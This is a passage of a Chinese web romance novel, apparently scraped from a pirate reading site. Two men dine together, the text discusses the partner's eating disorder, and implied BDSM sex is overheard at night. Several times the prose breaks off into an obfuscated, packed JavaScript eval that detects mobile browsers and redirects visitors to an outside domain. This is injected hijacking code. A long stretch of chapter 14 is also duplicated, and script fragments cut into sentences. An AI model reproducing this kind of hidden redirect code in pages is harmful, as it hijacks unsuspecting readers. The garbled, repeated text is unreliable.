他以后就是全年无休疯狂加班,都再也不会浪费宝贵的周六去有对象的朋友家做客。 贺越邱似乎就为了出来抱抱甄甄,又很快回厨房。 人一走,甄甄就恶声恶气地喊了声方寸行的名字。 “?” “你有没有点儿眼力见啊,男主人里里外外忙活一上午准备午饭,你就干坐着等喂到嘴里?”甄甄朝厨房方向抬抬下巴,凶他,“去啊,帮忙洗筷子洗碗,盛饭端盘子上菜,怎么眼里一点活都没有。” “……” 方寸行觉得自己可能是他妈的疯了吧,居然真一声不吭站起来往厨房走了。 等洗完碗筷、和贺越邱一起把菜都摆盘上桌,三个人都坐下准备吃饭了,他才猛然回过神:不对啊,他这个客人都出力了,甄甄呢? 他不也是这个家的男主人吗。 方寸行朝甄甄的方向看过去。似乎知道他心里想的是什么,甄甄瞪他一眼,用自以为但实际并不凶狠的眼神无声说,在公司你使唤我,搁我地盘了还不能使唤使唤你吗。 方寸行:“……” 贺越邱给甄甄剥着虾,见他脸色铁青不动筷,特好客般:“吃啊,别拘礼。还是饭菜不合胃口?” “……你厨艺挺好的。”方寸行勉强夹了一块鸡丁,味同嚼蜡。 他的注意力始终放在对面这对情侣身上,眼睁睁看着贺越邱跟个菲佣伺候少爷似的,好言好语千方百计哄甄甄多吃两口,怎么也没办法将他和少年时代那个阴鸷暴戾的贺大公子对上号。 还哄着吃饭呢——初中在学校食堂又不是没看到过,贺越邱那同父异母的亲弟弟吃饭慢了点,他一脚就踢上去,把餐盘抢走倒垃圾桶里,只留下一句爱吃不吃,他弟挨饿两星期才终于学会从此以后都躲着贺越邱吃午饭。 爱情的魔力真有这么大吗,能把一个占有欲极强又品性恶劣的人改造成二十四孝好老公? 他带着些探究看向贺越邱,举止都正常得不能再正常了,眼里的爱意也不似作伪,也许时间真能改变一个人呢? 方寸行更好奇甄甄了,他到底有什么魅力,能把贺越邱这种罪犯预备役降得服服帖帖。 论脸,方寸行一个开娱乐公司的,这些年里见过的、倒贴他的美女帅哥见得也够多了,甄甄的确是放在美人堆里都能排第一的美人。 一把春风刀似的细腰也确实惹眼,没男人会不喜欢。 可除了优越的外貌,他学历不够高,性格不够好,嘴巴又不饶人,虽然长了个恋爱脑又黏人,但远没有那些老总包的小情人乖巧听话,相反更多时候都是这位在外呼风唤雨、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025986|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千尊万贵的贺大总裁在迁就和照顾他。 方寸行怎么也想不通这样两个完全是不同世界的人,究竟是怎么走到一块儿的。 贺越邱忽然笑道:“喂喂,你怎么老是盯着我们家甄甄看啊,他脸上有饭粒吗?” 方寸行如遭雷劈般愣了片刻,才心慌手抖地反应过来自己刚刚一直盯着兄弟对象看的行为有多不合规矩,忙移开眼又掩饰道:“我,咳,我看他嘴巴有点红,不知道是不是烫到了。” 甄甄嘴比脑快:“那也跟你没关系。” 说完又才想起来早上的事,气焰顿时消下去,连带着脸也一起红了。 贺越邱闻言也看了看甄甄的嘴巴,明知故问:“是有点红——还有点肿。怎么啦宝宝,被什么东西弄的?” 甄甄气鼓鼓地瞪他一眼,把只动了几口的饭碗往前一推,起身走开。 方寸行不明所以,还以为自己哪里又惹到这小祖宗:“……我要不道个歉?” 贺越邱早已习惯:“他故意的,每次不想吃饭了就找点理由生个气,顺理成章逃饭。” “?” 方寸行以为自己听到了外星语,没理解。 “你厨艺算不错了,他不至于不爱吃吧。” “不是。”贺越邱说,“他有轻微的进食障碍,国手来做一桌满汉全席也一样吃不了几口,和饭菜做得好不好吃没关系。” “你确定?”方寸行还是有点没敢相信,主要在他看来,甄甄这性格不像是会有什么心理缺陷的人。 “我有什么骗你的必要吗?”贺越邱啧了声,转头看着趴沙发上玩手机的小男友,压低声道:“也不是一天两天的事了,我刚认识他的时候就发现了,每次请他约会吃饭都兴致缺缺扒拉不了两口,说起来比现在还要严重点。一开始我也跟你一样觉得不能吧,这世界上还有不爱中餐的人?所以托关系请了做国宴的大师傅来做过几顿饭,那味道香得我顿顿都能把汤汁儿拌饭吃一斤,还胖了不少,偏偏他就不为所动,不仅没胖还又瘦了几两,给大师傅气够呛,抄起锅铲就走了。” “那后来?” “他说自己从小就不爱吃东西,反正也死不了,我说这都屁话——他那是不爱吃饭吗?韩国总统都没他耐饿。”贺越邱伸直手掌比了比,“真不夸张,那截腰痩得我一拃就能比量完,浑身上下也就屁股和大腿根还有点儿肉了,其他地方抱在怀里都硌骨头。” 方寸行回想了下甄甄的三围,已经和一些以白幼瘦出名的同身高女明星差不多了,这还是他现在看到的,不敢想象三四年前能有多瘦。 贺越邱说:“这肯定得上医院检查啊,他老说自己没毛病没毛病,我硬给他带去的。结果一检查就确诊进食障碍,都中度了,再不干预能活生生给自己饿死。我逼着他住了一段时间医院,输完营养针又找医生要了恢复食谱,搁大师傅那儿拜师学艺,前前后后折腾了这么三年多,才算多长了点肉。” “有查过什么原因吗?” “医生排除了生理方面的一些病变,推测可能是因为心理原因。这我就没问了,他没说过就是不乐意说,非得问不是往伤口上撒盐吗。” 方寸行听完,沉默许久,才带着点沙哑地说:“……是这样。” 14.第 14 章 甄甄把贺越邱用力推开:“我就说别请他来了。” “他这人从小就嘴贱不招人待见,咱别跟他一般见识。” 贺越邱黏上去狠狠亲了甄甄一口,乐滋滋地起身去厨房,不忘招呼被他俩孤立的方寸行:“锅里还炖着土鸡呢,我得去看着,你就当在自己家随意点儿,别欺负我们家小宝贝。” 甄甄马上也跟着起身:“谁要跟他待在一起。” 方寸行满脸黑线,眼看着俩人一前一后进了厨房。 贺越邱手糙肉厚的,直接就上手掀开紫砂锅盖,拿汤勺在黄澄澄的鸡汤里转了转,撒下几粒盐,舀出点儿尝了尝,鲜味在舌尖爆开,满意地又舀了点儿递到甄甄嘴边:“专门让人在乡下养的跑山鸡,养三四年了,加点枸杞党参炖出来不知道有多好喝,又营养,你今天中午得多喝一碗。” 甄甄嫌弃地撇开头,往后退得离那炖着鸡的砂锅要多远有多远:“活鸡被宰了不就是尸块吗,动植物尸体炖一起有什么营养的,人专家都说了那汤里都是嘌呤压根没营养的,喝多了小心痛风。” 又马上说:“不过可以给姓方的多喝点。你有没有那种相生相克的菜谱,多做几道给他毒哑算了,从进门到现在就没一句是我爱听的。” 贺越邱重新盖上,洗了手,略有点用力地刮了下甄甄鼻子:“鸡给人吃,多好的鸡,当着它炖出来的汤说这种话,要是让鸡的在天之灵听到了,那它得多伤心。你早上就吃了两口苹果,中午别想赖掉了,不好好吃饭的话我让方寸行每次出差都只把你带上。” “不行!谁要和他一起出差!” 方寸行一走过来,就听见这两口子背后蛐蛐他:“……” 你俩是把我当成什么调情工具了呗? 偏偏这俩人看见他了也没半点儿做贼心虚,当着他面腻腻歪歪。 他实在忍不下这口恶气,瞥一眼跟只考拉挂贺越邱身上似的甄甄,本来是想刺他离了老公不能活的,但话到嘴边不知道为什么又硬生生拐了个弯,刺贺越邱去了:“贺大公子还有这手艺呢?伯父都没那个口福吧。” 甄甄立刻维护老公:“你就跟抖音上那些一看到宠物就想起父母的人一样。爱妻者风生水起听没听过,怪不得你那公司开得没我家贺总大呢。” 贺越邱揽过小男友肩膀,好似一头威风凛凛的大红公鸡:“新时代好男人就是要上得厅堂下得厨房,床上抓住老婆的……咳咳,床下抓住老婆的胃,你还得练,不然伯母再盼十年八年都盼不回媳妇儿。” 方寸行:“……” 早知如此,他就不该来。 眼看着刻薄上司黑着脸铩羽而归,甄甄乐得小尾巴都要翘起来了。 还没等他得意多久,贺越邱又推着他肩膀往外送:“乖了,再怎么说他也是我们客人,你先出去陪陪,这儿有我一个就够了。” 甄甄不情不愿地被推着到客厅,贺越邱耐心地哄了好一会儿,他才撅着嘴坐回沙发。 但离方寸行起码三米远。 没贺越邱充当气氛组,方寸行越坐越尴尬。两人目光偶尔对上,甄甄也立刻扭头玩手机,让方寸行本来想说点什么也没机会,讪讪地剥起橘子。 在他把果盘里的砂糖橘都剥完后,贺越邱总算带着一身烟火气出来了。 方寸行刚要开口,甄甄便拿起一个剥好的橘子塞到贺越邱嘴里,特体贴、特善解人意地用从来不会在他面前有的温甜语气,说:“热不热?累不累?就三个人,你少做点菜,不然吃不完也浪费。” 贺越邱很是受用,两口就吞下整个橘子:“没几个菜,你们再等会儿,鸡汤还有几分钟就炖好了。” 甄甄星星眼地看着他家顶梁柱:“嗯嗯。” “?” “……” 方寸行冷笑两声。 真把我当套使呢。 他以后就是全年无休疯狂加班,都再也不会浪费宝贵的周六去有对象的朋友家做客。 贺越邱似乎就为了出来抱抱甄甄,又很快回厨房。 人一走,甄甄就恶声恶气地喊了声方寸行的名字。 “?” “你有没有点儿眼力见啊,男主人里里外外忙活一上午准备午饭,你就干坐着等喂到嘴里?”甄甄朝厨房方向抬抬下巴,凶他,“去啊,帮忙洗筷子洗碗,盛饭端盘子上菜,怎么眼里一点活都没有。” “……” 方寸行觉得自己可能是他妈的疯了吧,居然真一声不吭站起来往厨房走了。 等洗完碗筷、和贺越邱一起把菜都摆盘上桌,三个人都坐下准备吃饭了,他才猛然回过神:不对啊,他这个客人都出力了,甄甄呢? 他不也是这个家的男主人吗。 方寸行朝甄甄的方向看过去。似乎知道他心里想的是什么,甄甄瞪他一眼,用自以为但实际并不凶狠的眼神无声说,在公司你使唤我,搁我地盘了还不能使唤使唤你吗。 方寸行:“……” 贺越邱给甄甄剥着虾,见他脸色铁青不动筷,特好客般:“吃啊,别拘礼。还是饭菜不合胃口?” “……你厨艺挺好的。”方寸行勉强夹了一块鸡丁,味同嚼蜡。 他的注意力始终放在对面这对情侣身上,眼睁睁看着贺越邱跟个菲佣伺候少爷似的,好言好语千方百计哄甄甄多吃两口,怎么也没办法将他和少年时代那个阴鸷暴戾的贺大公子对上号。 还哄着吃饭呢——初中在学校食堂又不是没看到过,贺越邱那同父异母的亲弟弟吃饭慢了点,他一脚就踢上去,把餐盘抢走倒垃圾桶里,只留下一句爱吃不吃,他弟挨饿两星期才终于学会从此以后都躲着贺越邱吃午饭。 爱情的魔力真有这么大吗,能把一个占有欲极强又品性恶劣的人改造成二十四孝好老公? 他带着些探究看向贺越邱,举止都正常得不能再正常了,眼里的爱意也不似作伪,也许时间真能改变一个人呢? 方寸行更好奇甄甄了,他到底有什么魅力,能把贺越邱这种罪犯预备役降得服服帖帖。 论脸,方寸行一个开娱乐公司的,这些年里见过的、倒贴他的美女帅哥见得也够多了,甄甄的确是放在美人堆里都能排第一的美人。 一把春风刀似的细腰也确实惹眼,没男人会不喜欢。 可除了优越的外貌,他学历不够高,性格不够好,嘴巴又不饶人,虽然长了个恋爱脑又黏人,但远没有那些老总包的小情人乖巧听话,相反更多时候都是这位在外呼风唤雨、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026727|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千尊万贵的贺大总裁在迁就和照顾他。 方寸行怎么也想不通这样两个完全是不同世界的人,究竟是怎么走到一块儿的。 贺越邱忽然笑道:“喂喂,你怎么老是盯着我们家甄甄看啊,他脸上有饭粒吗?” 方寸行如遭雷劈般愣了片刻,才心慌手抖地反应过来自己刚刚一直盯着兄弟对象看的行为有多不合规矩,忙移开眼又掩饰道:“我,咳,我看他嘴巴有点红,不知道是不是烫到了。” 甄甄嘴比脑快:“那也跟你没关系。” 说完又才想起来早上的事,气焰顿时消下去,连带着脸也一起红了。 贺越邱闻言也看了看甄甄的嘴巴,明知故问:“是有点红——还有点肿。怎么啦宝宝,被什么东西弄的?” 甄甄气鼓鼓地瞪他一眼,把只动了几口的饭碗往前一推,起身走开。 方寸行不明所以,还以为自己哪里又惹到这小祖宗:“……我要不道个歉?” 贺越邱早已习惯:“他故意的,每次不想吃饭了就找点理由生个气,顺理成章逃饭。” “?” 方寸行以为自己听到了外星语,没理解。 “你厨艺算不错了,他不至于不爱吃吧。” “不是。”贺越邱说,“他有轻微的进食障碍,国手来做一桌满汉全席也一样吃不了几口,和饭菜做得好不好吃没关系。” “你确定?”方寸行还是有点没敢相信,主要在他看来,甄甄这性格不像是会有什么心理缺陷的人。 “我有什么骗你的必要吗?”贺越邱啧了声,转头看着趴沙发上玩手机的小男友,压低声道:“也不是一天两天的事了,我刚认识他的时候就发现了,每次请他约会吃饭都兴致缺缺扒拉不了两口,说起来比现在还要严重点。一开始我也跟你一样觉得不能吧,这世界上还有不爱中餐的人?所以托关系请了做国宴的大师傅来做过几顿饭,那味道香得我顿顿都能把汤汁儿拌饭吃一斤,还胖了不少,偏偏他就不为所动,不仅没胖还又瘦了几两,给大师傅气够呛,抄起锅铲就走了。” “那后来?” “他说自己从小就不爱吃东西,反正也死不了,我说这都屁话——他那是不爱吃饭吗?韩国总统都没他耐饿。”贺越邱伸直手掌比了比,“真不夸张,那截腰痩得我一拃就能比量完,浑身上下也就屁股和大腿根还有点儿肉了,其他地方抱在怀里都硌骨头。” 方寸行回想了下甄甄的三围,已经和一些以白幼瘦出名的同身高女明星差不多了,这还是他现在看到的,不敢想象三四年前能有多瘦。 贺越邱说:“这肯定得上医院检查啊,他老说自己没毛病没毛病,我硬给他带去的。结果一检查就确诊进食障碍,都中度了,再不干预能活生生给自己饿死。我逼着他住了一段时间医院,输完营养针又找医生要了恢复食谱,搁大师傅那儿拜师学艺,前前后后折腾了这么三年多,才算多长了点肉。” “有查过什么原因吗?” “医生排除了生理方面的一些病变,推测可能是因为心理原因。这我就没问了,他没说过就是不乐意说,非得问不是往伤口上撒盐吗。” 方寸行听完,沉默许久,才带着点沙哑地说:“……是这样。” 15.第 15 章 吃完午饭,贺越邱起身收拾碗筷。 方寸行本来就打算帮忙,只是喝水晚了一拍,甄甄就幽幽地瞪过来,呛得他直咳嗽。 方寸行实在怕了甄甄,忙放下水站起来帮贺越邱。 “不用,你去客厅看电视就行,要不就陪甄甄聊聊天,多教他点儿职场生存小技巧。” 方寸行后背发冷,心想你自己还不清楚你那小男朋友对我什么态度吗,还能心平气和跟我聊天? 方寸行只能说:“两个人弄能快点儿。” 贺越邱爽朗笑道:“那行啊,你多学学做家务,到时候我才好给你介绍对象,也算对得起你那水果牛奶金龙油了吧?” 方寸行无奈道:“八字没一撇的事……我暂时还没想那么多,一切先以事业为主。” 不像贺家几代传承,方寸行家里是从他父亲那一辈儿才开始白手起家的,说好听点儿是商界新贵,说难听点儿就是踩在风口上的暴发户。他父母都希望他能找个门当户对或者体制内的对象巩固下地位,只是方寸行本人无论是不赞同这种功利想法还是出于自身隐疾,都从没往这方面考虑过。 他俩端着垒成塔的盘子走进厨房,方寸行余光撇了眼客厅里的甄甄,确定他没空管这边,才压低声音问贺越邱:“那你呢?老大不小该是结婚成家的年龄了,你家里真同意你和,咳,和甄甄就这么搭伙过一辈子?” 他总有点念不出口这个名字,甄甄,珍珍,总像多么亲昵地喊着小名似的,可他们只不过是两个依靠贺越邱作为枢纽才会有一点交集的,不太熟的人。 “不然呢?” 贺越邱让方寸行把厨房门关上,从兜里摸出盒烟,弹出一根含嘴里点燃,靠在灶台边抽了两口,慢悠悠地吐出一片白雾,让方寸行看不清隐在烟雾后那双野兽似的褐眼。 他目光渐渐地有些遥远,似乎回忆着什么。 “我喜欢谁,想和谁过一辈子,当然是我自己说了算,你觉得我家里能管住我跟谁在一起?再说了,我家又不止我一个男孩,那野种也就比我小四岁,那才是从小按精英培养的,搁京城这块儿父慈子孝的名声总比我这么个混世魔王好多了吧?就算要拉去配种,也该拉他去,不然哪家千金小姐能愿意跟个同性恋混在一块儿守活寡?” 方寸行默默听着,多多少少有些羡慕贺越邱的洒脱和自由。他想甄甄看上的会不会也是这点,在一起说官宣就官宣了,一点也没考虑过什么家庭阻碍流言蜚语,比异性恋处得还要光明磊落。 贺越邱反过来问他:“你觉得甄甄怎么样?” 方寸行回神,敛眉,象征性笑笑:“……挺好的,刚来没两天就和同事都混熟了,做事笨点儿但不偷奸耍滑,我看秘书处那些老人都挺喜欢他。那都是些吃肉不吐骨头的人精,这倒挺难得的。对你,嗯,对你也挺护短。” “是吧,我这眼光还能有错。” 贺越邱可得意了,抖抖烟灰,美滋滋地说:“你别看甄甄牙尖嘴利的不饶人,那是你老惹他,他平时可乖可招人。我是过敏养不了宠物,但我看他比那些网红萌宠小猫小狗什么的可爱多了,捧着那么张漂漂亮亮白白净净的小脸满眼崇拜地喊哥哥喊老公,我真恨不得给他变小了揣兜里走哪儿都带着。” 方寸行憋了半天,说出一句“挺好。” 等贺越邱一支烟抽完了,打开窗户和抽油烟机散味儿,方寸行才有点好奇地问他:”刚才那些话又没什么见不得人的,你让我关上门干嘛?” 贺越邱挑挑眉:“总不能让我家宝贝吸二手烟吧。” 让尼古丁腌入味的方寸行:“……” “他倒是一点没闻着,我快让你熏成腊肉干了。” 方寸行想林则徐的风吹到了京城。 贺越邱散着身上的烟味,以一种甜蜜的负担口吻,说:“不然怎么办?甄甄可是个狗鼻子,别说我偷着真抽了,谁抽着烟往我身边过,留下那点味道,他都能闻得出来,我都怀疑他上辈子是只缉毒犬。” 方寸行冷不丁说出个冷笑话:“不然退役了。” 贺越邱抄起刷碗布扔他身上:“这儿就交给你了,我现在得去亲口我家宝贝儿,不然老感觉牙痒想咬东西。” 方寸行冷笑,到底谁是狗啊。 贺越邱解了围裙,又低头闻了闻,确认身上没烟味了才打开厨房门,一眼看到离门口不远的甄甄,听他有点慌乱地解释道:“我刚上厕所呢……只是路过而已……” 贺越邱露出个心知肚明的笑容:“来让老公亲一口。” 放平时甄甄肯定就骂他臭不要脸远远跑开了,这回却扭扭捏捏地蹭过来,乖乖巧巧地露出右边脸蛋,让贺越邱结结实实地亲了一大口。 方寸行在背后猛地放大水流:“动静小点儿。” 贺越邱搂着要咬人的甄甄大摇大摆地往客厅走:“讨不到媳妇儿的光棍一条,嫉妒我有这么好看的老婆呢,别搭理他。” 水流声更大了。 厨房里有洗碗机,方寸行只冲掉了表面油污,把锅碗瓢盆挨个放进去,没一会儿功夫就出来了。 他拿上搭在沙发扶手的外套:“你们慢慢玩,我先走了。” 甄甄立刻送客:“快走吧一会儿赶不上地铁了。” 贺越邱留他吃晚饭:“方总现在是大忙人,好不容易来一趟,让我尽尽地主之谊呗。” 甄甄急得一直悄悄掐贺越邱背,方寸行的声音和他同时响起:“尽什么啊,人家都不想在这儿待。” “也行。” 话音落地,甄甄瞳孔放大,和方寸行大眼瞪小眼,心底缓缓浮起一个问号。 这对吗? 无良老板不是嫌他这嫌他那? 方寸行有点尴尬,抬脚欲走。 贺越邱却笑着喊住他:“晚上这顿的菜我都买好了,你现在走了指望谁来帮忙消化——甄甄,你晚饭多吃一碗饭的话,我们就让方总回去怎么样?” 甄甄瞬间怂了,丢下一句“撑死你们”,气哼哼地扭头回房间。 方寸行顺理成章地收回脚步坐下,但也和甄甄一样有点想不通,看向贺越邱的眼神里带着几分探究:“你以前可没这么大方,现在倒是变挺多的,还挺好客。” 贺越邱笑得有些怪,只说他是甄甄上司,要替甄甄多贿赂一下。 转眼到了晚上,贺越邱哄了甄甄好半天他才不情不愿出来,仍是贺越邱做好一桌菜,方寸行盛饭摆筷,两个身形高大的男人在餐桌边忙来忙去,画面十分诡异。 甄甄像电视剧大宅院里等着被正妻侧室悉心伺候的老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而后便是一阵长久的沉默,不知接着该如何开口。 不止一两个人说过方寸行嘴巴刻薄,他学不来贺越邱哄人时的甜言蜜语,再者,这是贺越邱的男友,他本来就没有资格做过界的事。 甄甄没有怼方寸行,但也没理他。但方寸行注意到他下意识地往他这边倾斜,即使有些讨厌他,也还是本能地想有个安全区。 方寸行就也拿干净杯子倒了点甜水,“喝点甜的能缓解情绪。” 黑漆漆的,没什么动静,在方寸行意料之中。 但过了几分钟,一只在黑暗中白得有些显眼的手悄悄搭上桌子,像偷尝人类食物的小猫一样,狗狗祟祟地一点点拿走水杯。 咕嘟咕嘟。 喝水声。 像小鱼吐泡泡。 方寸行垂眸看着,被可爱得勾起一点微笑。 只是下一刻,他抬头,面前的冰箱玻璃面板晃出贺越邱的倒影,远远地站在楼梯上,面对这边,似笑非笑。 方寸行嘴角的弧度忽然顿住,升起一股刺骨穿髓的寒冷。 他不知道,贺越邱站在那里看了多久,又看到多少。 16.第 16 章 方寸行在那一刻屏住了呼吸,心脏突突地要掉出胸膛。 他的脑子飞速运转,回想着刚刚:他有碰到甄甄吗,他们之间的距离有没有过界,他没说什么不该说的话吧? 从未有过的紧张在方寸行的每一寸血液之中蔓延,在短短的几个呼吸间便麻木了他的四肢,令他的思考也变得十分缓慢。黑暗中视线是看不清的,连带着其他四感一并迟缓,唯一清晰的竟只有鼻尖小雏菊的香气,和对面那个阴幽的倒影。 “你站在那儿干什么?配电箱修好了吗?”甄甄扭过头,不高兴地撅起嘴。 那种鬼魂似的瘆人感一瞬间就消失了,贺越邱笑着走过来,俯身亲了亲他的额头:“保险丝烧坏了,一时半会儿修不好,现在又很晚,得等明天找人来。发电机我也看了,放太久没办法用。今晚就先点蜡烛将就一晚上吧。” 甄甄还是不满意,但也没说什么,闷闷不乐地嗯了声。 贺越邱又看向一旁呆站的方寸行,勾了勾唇角:“你呢?要不留这儿睡一宿吧,我家里别的东西不多,房间是最多的,再来支橄榄球队都够住。” 态度很和善,跟之前没什么不同,反衬得倒影里那份没由来的诡异感才是错觉。 方寸行这才恍然惊觉原来是自己反应过大,是了,他一丝一缕地想了这么久,明明什么越界的举动都没有,他到底为什么会害怕被贺越邱误解呢? 方寸行先是下意识接了句好,回过神后,又后悔冲动,隐晦而为难地看了眼甄甄,自知以对方对自己的讨厌程度,恐怕马上就会像怕生的小狗一样,弓着背、拱起飞机耳驱赶来客。 贺越邱看穿他的顾虑,转头看向甄甄,耐心地问:“可以吗?” “……行吧。我又不是那种不准你找哥们回来喝酒的嫂子。”看得出甄甄有点为难,但还是点点头,同意了贺越邱的要求。 很勉强,却让方寸行意外之中还带着一丝隐隐的惊喜。 “没想到啊,”贺越邱收回落在甄甄身上的视线,又投向方寸行,似是开玩笑般,“几分钟之前你俩还挺水火不容呢,怎么我就离开一会儿,好像又握手言和了?” 看着贺越邱嘴角似笑非笑的弧度,那种浑身发冷的感觉再度席卷方寸行,僵硬地躲避着那种暗晦的打量。 甄甄余光扫过那杯喝掉一半的饮料,又马上挪开,别别扭扭地哼了声,跑开了:“他是你朋友,我只不过是给你面子罢了。” 贺越邱忙给他打手电筒,照着脚下的路:“你慢点儿!别摔了!” 甄甄回头做个鬼脸,吐舌:“找你还不如找皮卡丘过日子,至少皮卡丘能发电!” 贺越邱哭笑不得,随后又感慨道:“你看我说什么来着,他就是对不喜欢的人才那样,跟你熟悉之后就好了,咋咋呼呼跟只三个月大的小比格似的,多可爱。” 方寸行绷紧唇:“秀恩爱遭雷劈。” “自个儿没老婆就不准别人秀呗,”贺越邱呵呵两声,“男疾男户。” 他打着手电筒到电视柜下面翻出来两个雕刻精美的圆蜡烛,拿打火机点上了,分给方寸行一根:“拿着吧,手电筒也不能开一整晚。” 甄甄看到光亮,从卧室探头,要贺越邱把蜡烛给他。 交接的时候几滴晶莹的红蜡淌下来,滴在甄甄雪白的手腕上,方寸行瞳孔一缩,喉咙像被人卡住般,差点就叫出声。 甄甄却没什么反应,只是本能性地瑟缩了一下。 贺越邱扫过方寸行,笑道:“瞧给你紧张的,这又不是普通照明蜡烛,烫不到的。” 方寸行闻言松了口气,接着一愣,心底涌起个让人脸红的想法。 他低头往那蜡烛上一看,雕的不是花鸟鱼虫,竟是些说不出口的东西。 确实不普通。 方寸行整个人都烧了起来,像是拿了个烫手山芋,拿也不是,丢也不是,僵在原地手足无措。 贺越邱见状,嗤笑一声,揶揄他:“我跟甄甄在一起都多少年了,平日里老夫老妻地玩点情趣岂不是很正常,你反应这么大干什么,还是处男啊?那到三十岁会不会变成魔法师?” 方寸行臊红了脸,说着些事业男的事怎么能算魔法师之类的话,又说你知道我白手起家打拼出星火用了多少年吗,贺越邱正嘲笑他,忽然一道白影破空飞来正正砸中贺越邱脸部,伴随着甄甄恼羞的尖叫:“你们两个炫压抑再讨论这种话题就给我滚出去!” 方寸行:? 他明明是性冷淡,关他什么事,为什么让他也滚? 贺越邱捡起抱枕,忙赔着笑凑上去哄人,临关上门前还抽空对方寸行做了个口型,指指隔壁。 方寸行站在黑暗中,凝视着那扇紧闭的门,偶尔能从光影摇晃的门缝底下窥听得到几声少年的痴嗔和男人的甜言蜜语。他紧紧攥着手里的蜡烛,无论如何也想不明白贺越邱要自己留宿的目的。 ——他是从来不会允许有人闯入领地的。 这一点早在姓贺的还小时就初见端倪,他母亲去世得早,并不把父亲和后妈共同生活的地方当做家,却也不准任何人擅自进入自己的房间。 方寸行每每随想要谄媚权势的父母去贺家做客,都从来没有被贺越邱邀请到他的房间参观过。 他们的关系也算不错,十几年的私交,生意上互有往来,方寸行自认还算了解贺越邱,但在今天之前,从未想过会被如此热情地再三挽留。 真是转性了吗? 方寸行带着疑惑住进了隔间,捧着蜡烛坐在床边,对着拉长的影子出神半晌,才起身去洗漱。 贺越邱似乎早有准备,浴室里有干净的浴衣,一次性拖鞋,甚至剃须刀。 方寸行看到镜子里自己的眉头皱得更深了。 哗啦的水声响起,洗到一半时,隐隐约约地传出些不属于这间浴室的声响。 他顿了一下,把花洒开到最大,掩过那些曾在更衣室听过的声音。 热雾弥漫开,影响了视线,却将耳畔的声音放大,暧昧的喘息在雾气中流淌,钻进方寸行的皮肤,将身体里的每根细小血管都烧至沸腾。他调低了水温,在京城三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方寸行知道这些想法贺越邱肯定都付诸实践过,甚至要比他所遐想的做得更加过分,他说和甄甄是’老夫老妻‘,那这些年他们一定什么花样都玩过了——甄甄第一天来上班,脖子上不就戴了条Choker,象征着有主吗? 他只是没敢想过,看起来那么单纯跳脱、像条未经世事的小狗一样的甄甄,背地里其实早就被他的主人里里外外都玩透了,熟得不能再熟,像过于丰盈的果子缀在枝头摇摇欲坠诱人采摘般。 水声就停了这么一会儿—— 便又是床板快塌了的砰砰声响,装模作样地压着声音说不行隔壁还有人你轻点儿,却又一声比一声甜腻地喊着哥哥。 他还听到贺越邱兴奋到极致的喘息,真像野牛发/情时那种亢奋的可怖状态,发了狠地丢了命地横冲直撞。 一整晚都没个停歇。 中途几次只有贺越邱的声音,而甄甄或许是晕过去了。 一会儿后就又醒来,一声声哀哀地泣求。 这样的动静重复着持续到天亮。 方寸行都有些可怜甄甄了。 17.第 17 章 方寸行一夜未眠。 次日晨,贺越邱一推开卧室门,就看到客厅里收拾齐整的方寸行,注意到他眼底的青黑,调侃道:“你半夜不睡偷别人老婆去了?” 方寸行朝他看过来,视线触及时却越过肩膀,透过门缝看到甄甄,睡得像个小宝宝一样,红润的嘴巴微微张合着呼吸,从露在被子外痕迹青紫的手腕来看,昨晚恐怕被折腾得不轻。 “发什么呆呢?”贺越邱又说了一句。 方寸行收回视线,敛下眸子,淡声道:“我不管你是想玩什么,我没工夫掺和,也劝你悠着点儿。” 贺越邱顿了下,露出一个男人间心知肚明的笑容:”你是说昨晚上吗?滴蜡、捆绑和角色扮演……玩的花样确实挺多的。最近有点太放纵,甄甄快受不住了,的确是该悠着点儿了。” 方寸行忽然笑了声,不明白自己为什么要在这里和贺越邱浪费时间,顺着他的意思敷衍道:“这方面你是专家。” 他说完要走,贺越邱礼节性地挽留:”我要给甄甄做早饭,他还没起呢,不成你多等会儿,吃了早饭再走呗?” ”不了,没有就着狗粮下饭的用餐习惯。“方寸行整理着袖口,临走前留给贺越邱一句发自肺腑的话:”甄甄和我们不是一个世界的人,他在这座城市里除了你的爱什么也没有,不管你是怎么想的,别辜负他。” 贺越邱的眼神里闪烁着趣意,笑道:“你怎么还管上别人小两口的事儿了?” 方寸行没接茬,只说“走了”,便很快消失在贺越邱的视野。 他直接开车去了公司,贺越邱却没马上去厨房,而是慢悠悠地点了根烟,指间的猩红火光明明灭灭,衬出他眼底不见深处的晦暗。 * 